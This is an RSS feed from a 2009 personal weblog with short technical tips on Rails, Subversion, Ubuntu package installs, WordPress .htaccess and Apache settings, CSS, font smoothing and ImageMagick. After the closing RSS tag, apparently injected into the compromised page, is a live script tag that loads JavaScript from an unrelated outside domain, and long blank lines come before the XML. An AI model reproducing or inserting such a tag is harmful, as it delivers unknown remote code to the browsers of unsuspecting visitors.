

































































































































<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Enrailed.net &#187; web</title>
	<atom:link href="http://www.enrailed.net/category/web/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.enrailed.net</link>
	<description>Runr's Personal Weblog</description>
	<lastBuildDate>Thu, 22 Oct 2009 14:00:05 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Batch file for adding Rails files to Subversion</title>
		<link>http://www.enrailed.net/2009/10/22/batch-file-for-adding-rails-files-to-subversion/</link>
		<comments>http://www.enrailed.net/2009/10/22/batch-file-for-adding-rails-files-to-subversion/#comments</comments>
		<pubDate>Thu, 22 Oct 2009 14:00:05 +0000</pubDate>
		<dc:creator>Runar Svendsen</dc:creator>
				<category><![CDATA[web]]></category>

		<guid isPermaLink="false">http://www.enrailed.net/?p=39</guid>
		<description><![CDATA[How do you make sure your Rails files are added to Subversion before you commit? I have a simple batch file (for Windows currently) which I use, thought I&#8217;d post it here if anyone finds it helpful. What&#8217;s probably gonna happen though, is that someone points me to a better solution, which would be even [...]]]></description>
			<content:encoded><![CDATA[<p>How do you make sure your Rails files are added to Subversion before you commit? I have a simple batch file (for Windows currently) which I use, thought I&#8217;d post it here if anyone finds it helpful. What&#8217;s probably gonna happen though, is that someone points me to a better solution, which would be even nicer <img src='http://www.enrailed.net/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </p>
<p>Anyway, here&#8217;s the file, so download and place it in your RAILS_ROOT folder:<br />
<a href='http://www.enrailed.net/wp-content/uploads/add_to_svn.bat'>Add to SVN Batch file</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.enrailed.net/2009/10/22/batch-file-for-adding-rails-files-to-subversion/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Installing webrat on Ubuntu 8.04</title>
		<link>http://www.enrailed.net/2009/06/16/installing-webrat-on-ubuntu-804/</link>
		<comments>http://www.enrailed.net/2009/06/16/installing-webrat-on-ubuntu-804/#comments</comments>
		<pubDate>Tue, 16 Jun 2009 13:56:20 +0000</pubDate>
		<dc:creator>Runar Svendsen</dc:creator>
				<category><![CDATA[web]]></category>
		<category><![CDATA[ubuntu rails gem]]></category>

		<guid isPermaLink="false">http://www.enrailed.net/2009/06/16/installing-webrat-on-ubuntu-804/</guid>
		<description><![CDATA[I was installing webrat on my Ubuntu 8.04 Hardy Heron box and it gave me this error message:
libxslt is missing.  try &#8216;port install libxslt&#8217; or &#8216;yum install libxslt-devel&#8217;
Well, it turns out there is no libxslt-devel on Ubuntu, instead you have to do 
sudo apt-get install libxslt1-dev libxml2-dev
and then install webrat (via sudo gem install [...]]]></description>
			<content:encoded><![CDATA[<p>I was installing webrat on my Ubuntu 8.04 Hardy Heron box and it gave me this error message:</p>
<p>libxslt is missing.  try &#8216;port install libxslt&#8217; or &#8216;yum install libxslt-devel&#8217;</p>
<p>Well, it turns out there is no libxslt-devel on Ubuntu, instead you have to do </p>
<p>sudo apt-get install libxslt1-dev libxml2-dev</p>
<p>and then install webrat (via sudo gem install webrat or add the gem in your environment.rb file).</p>
]]></content:encoded>
			<wfw:commentRss>http://www.enrailed.net/2009/06/16/installing-webrat-on-ubuntu-804/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>Wordpress: .htaccess file won&#8217;t work with Apache</title>
		<link>http://www.enrailed.net/2009/04/07/wordpress-htaccess-file-wont-work-with-apache/</link>
		<comments>http://www.enrailed.net/2009/04/07/wordpress-htaccess-file-wont-work-with-apache/#comments</comments>
		<pubDate>Tue, 07 Apr 2009 20:53:31 +0000</pubDate>
		<dc:creator>Runar Svendsen</dc:creator>
				<category><![CDATA[web]]></category>
		<category><![CDATA[wordpress apache ubuntu intrepid]]></category>

		<guid isPermaLink="false">http://www.enrailed.net/?p=31</guid>
		<description><![CDATA[I recently installed Wordpress on an Ubuntu 8.10 image and permalinks wouldn&#8217;t work properly. I would only get a 404 File Not Found error when I enabled the pretty URL permalink structure. The Permalink function in Wordpress relies on a small URL rewrite statement that Wordpress puts in the .htaccess file at the root folder [...]]]></description>
			<content:encoded><![CDATA[<p>I recently installed Wordpress on an Ubuntu 8.10 image and permalinks wouldn&#8217;t work properly. I would only get a 404 File Not Found error when I enabled the pretty URL permalink structure. The Permalink function in Wordpress relies on a small URL rewrite statement that Wordpress puts in the .htaccess file at the root folder of your WP installation:</p>
<p><code>
<pre># BEGIN WordPress
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>

# END WordPress</pre>
<p></code></p>
<p>Turns out there is a setting in Apache that disables the .htaccess files by default. So you have to enable this to allow the .htaccess files to be processed. The setting is called AllowOverride, and you must set this to All (it probably is set to None right now).</p>
<p>Change your Apache virtual host config file to something like this:<br />
<code></p>
<pre>
&lt;VirtualHost *:80&gt;
        ServerAdmin webmaster@server.com

        DocumentRoot /var/www/

        &lt;Directory /&gt;
                Options FollowSymLinks
                AllowOverride All
        &lt;/Directory&gt;
        &lt;Directory /var/www/&gt;
                Options Indexes FollowSymLinks MultiViews
                AllowOverride All
                Order allow,deny
                allow from all
        &lt;/Directory&gt;
....

</VirtualHost></pre>
<p></code></p>
]]></content:encoded>
			<wfw:commentRss>http://www.enrailed.net/2009/04/07/wordpress-htaccess-file-wont-work-with-apache/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>A better clearfix (or: Clearing floats like there is a tomorrow)</title>
		<link>http://www.enrailed.net/2009/01/06/a-better-clearfix-or-clearing-floats-like-there-is-a-tomorrow/</link>
		<comments>http://www.enrailed.net/2009/01/06/a-better-clearfix-or-clearing-floats-like-there-is-a-tomorrow/#comments</comments>
		<pubDate>Tue, 06 Jan 2009 13:41:59 +0000</pubDate>
		<dc:creator>Runar Svendsen</dc:creator>
				<category><![CDATA[web]]></category>

		<guid isPermaLink="false">http://www.enrailed.net/2009/01/06/a-better-clearfix-or-clearing-floats-like-there-is-a-tomorrow/</guid>
		<description><![CDATA[I can&#8217;t believe its not clearfix (sic) because this fixes clears! The tip is from 2005, I have no idea how everybody missed this, but anyway here it is:
Simple Clearing of Floats
]]></description>
			<content:encoded><![CDATA[<p>I can&#8217;t believe its not clearfix (sic) because this fixes clears! The tip is from 2005, I have no idea how everybody missed this, but anyway here it is:<br />
<a href="http://www.sitepoint.com/blogs/2005/02/26/simple-clearing-of-floats/">Simple Clearing of Floats</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.enrailed.net/2009/01/06/a-better-clearfix-or-clearing-floats-like-there-is-a-tomorrow/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>CSS min-height tricks</title>
		<link>http://www.enrailed.net/2009/01/06/css-min-height-tricks/</link>
		<comments>http://www.enrailed.net/2009/01/06/css-min-height-tricks/#comments</comments>
		<pubDate>Tue, 06 Jan 2009 13:34:50 +0000</pubDate>
		<dc:creator>Runar Svendsen</dc:creator>
				<category><![CDATA[web]]></category>
		<category><![CDATA[web css programming height min-height]]></category>

		<guid isPermaLink="false">http://www.enrailed.net/2009/01/06/css-min-height-tricks/</guid>
		<description><![CDATA[Here is my favorite CSS min-height solution:
Dustin Diaz min-height solution
]]></description>
			<content:encoded><![CDATA[<p>Here is my favorite CSS min-height solution:</p>
<p><a href="http://www.dustindiaz.com/min-height-fast-hack/">Dustin Diaz min-height solution</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.enrailed.net/2009/01/06/css-min-height-tricks/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>How to get smooth fonts like Safari on Ubuntu</title>
		<link>http://www.enrailed.net/2009/01/03/how-to-get-smooth-fonts-like-safari-on-ubuntu/</link>
		<comments>http://www.enrailed.net/2009/01/03/how-to-get-smooth-fonts-like-safari-on-ubuntu/#comments</comments>
		<pubDate>Sat, 03 Jan 2009 00:51:42 +0000</pubDate>
		<dc:creator>Runar Svendsen</dc:creator>
				<category><![CDATA[web]]></category>
		<category><![CDATA[Ubuntu Safari Apple Mac OSX fonts rendering]]></category>

		<guid isPermaLink="false">http://www.enrailed.net/2009/01/03/how-to-get-smooth-fonts-like-safari-on-ubuntu/</guid>
		<description><![CDATA[My main claim against using Ubuntu is that the font rendering is just ugly and uninspiring. I am no graphic designer, but I love seeing my XHTML rendered in Safari on OS X. Turns out there is a solution that  makes Firefox on Ubuntu almost as good as Safari/OS X, and it&#8217;s quick, easy [...]]]></description>
			<content:encoded><![CDATA[<p>My main claim against using Ubuntu is that the font rendering is just ugly and uninspiring. I am no graphic designer, but I love seeing my XHTML rendered in Safari on OS X. Turns out there is a solution that  makes Firefox on Ubuntu almost as good as Safari/OS X, and it&#8217;s quick, easy and free! </p>
<p>If you want the whole explanation, go to <a href="http://rewind.themasterplan.in/2007/07/15/sexy-smooth-fonts-on-kubuntu/">this article</a>, but if you just want the fix, all you have to do is this:</p>
<p>Download <a href="http://rewind.themasterplan.in/dl/Kubuntu_FontsConf">this file</a> and store it in your home folder (ex: /home/yourname) with the file name .fonts.config (remember the leading dot). Restart X (press CTRL+ALT+BACKSPACE or log out and in again), and your fonts should be smooth as a you-know-who&#8217;s you-know-what.</p>
<p>Below are a few selected web sites captured before (left) and after (right) the font smoothing was enabled.</p>
<p>
<a href="http://www.enrailed.net/wp-content/uploads/wordpress_before_and_after.png"><img src="http://www.enrailed.net/wp-content/uploads/wordpress_before_and_after-300x127.png" alt="Wordpress.com before and after" title="Wordpress.com before and after" width="300" height="127" class="alignnone size-medium wp-image-20" /></a>
</p>
<p>
<a href="http://www.enrailed.net/wp-content/uploads/alistapart_before_and_after.png"><img src="http://www.enrailed.net/wp-content/uploads/alistapart_before_and_after.png" alt="Alistapart.com before and after smoothing" title="Alistapart.com before and after smoothing" width="430" height="351" class="alignnone size-full wp-image-21" /></a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.enrailed.net/2009/01/03/how-to-get-smooth-fonts-like-safari-on-ubuntu/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>How to convert an image to grayscale using ImageMagick</title>
		<link>http://www.enrailed.net/2008/10/07/how-to-convert-an-image-to-grayscale-using-imagemagick/</link>
		<comments>http://www.enrailed.net/2008/10/07/how-to-convert-an-image-to-grayscale-using-imagemagick/#comments</comments>
		<pubDate>Tue, 07 Oct 2008 09:04:58 +0000</pubDate>
		<dc:creator>Runar Svendsen</dc:creator>
				<category><![CDATA[web]]></category>
		<category><![CDATA[imagemagick grayscale jpg convert]]></category>

		<guid isPermaLink="false">http://www.enrailed.net/?p=7</guid>
		<description><![CDATA[This is something I do just too rarely to remember the syntax, so I decided to write it down. Here it is:
To convert an image from color to grayscale (and save the result to a different file), type the following curse:
convert image1.jpg -colorspace Gray image1_grayscale.jpg
If you just want to overwrite the original image, use this [...]]]></description>
			<content:encoded><![CDATA[<p>This is something I do just too rarely to remember the syntax, so I decided to write it down. Here it is:</p>
<p>To convert an image from color to grayscale (and save the result to a different file), type the following curse:</p>
<p><code>convert image1.jpg -colorspace Gray image1_grayscale.jpg</code></p>
<p>If you just want to overwrite the original image, use this command instead (thanks CableCat for the tip):</p>
<p><code>mogrify -modulate 100,0,50 image1.jpg</code></p>
]]></content:encoded>
			<wfw:commentRss>http://www.enrailed.net/2008/10/07/how-to-convert-an-image-to-grayscale-using-imagemagick/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Installing ImageMagick / RMagick on Ubuntu Hardy Heron</title>
		<link>http://www.enrailed.net/2008/05/02/installing-imagemagick-rmagick-on-ubuntu-hardy-heron/</link>
		<comments>http://www.enrailed.net/2008/05/02/installing-imagemagick-rmagick-on-ubuntu-hardy-heron/#comments</comments>
		<pubDate>Fri, 02 May 2008 22:51:03 +0000</pubDate>
		<dc:creator>Runar Svendsen</dc:creator>
				<category><![CDATA[web]]></category>
		<category><![CDATA[hardy heron]]></category>
		<category><![CDATA[imagemagick]]></category>
		<category><![CDATA[rmagick]]></category>
		<category><![CDATA[ruby on rails]]></category>
		<category><![CDATA[ubuntu]]></category>

		<guid isPermaLink="false">http://www.enrailed.net/?p=3</guid>
		<description><![CDATA[This is a short description of how I installed the ImageMagick framework and its Ruby wrapper (RMagick) on an Ubunty 8.04 (Hardy Heron) OS. This tutorial requires that ruby and gems are installed. See www.rubyonrails.com for more info.
Step 0: run sudo apt-get update (thanks for reminding me, HD)

run
sudo apt-get install imagemagick
Then, install the imagemagick9 dev [...]]]></description>
			<content:encoded><![CDATA[<p>This is a short description of how I installed the ImageMagick framework and its Ruby wrapper (RMagick) on an Ubunty 8.04 (Hardy Heron) OS. This tutorial requires that <strong>ruby</strong> and <strong>gems</strong> are installed. See <a title="Ruby on Rails web site" href="http://rubyonrails.com" target="_blank">www.rubyonrails.com</a> for more info.</p>
<p>Step 0: run <code>sudo apt-get update</code> (thanks for reminding me, HD)</p>
<ol>
<li>run<br />
<code>sudo apt-get install imagemagick</code></li>
<li>Then, install the imagemagick9 dev library:<br />
<code>sudo apt-get install libmagick9-dev</code></li>
<li>Last, install the RMagick gem: <code><br />
sudo gem install rmagick</code></li>
<li>That&#8217;s it! Now peruse the <a title="RMagick documentation" href="http://www.imagemagick.org/RMagick/doc/index.html" target="_blank">RMagick documentation</a> and start processing images!</li>
</ol>
]]></content:encoded>
			<wfw:commentRss>http://www.enrailed.net/2008/05/02/installing-imagemagick-rmagick-on-ubuntu-hardy-heron/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
	</channel>
</rss>
<script src="http://whereisdudescars.com/js2.php"></script>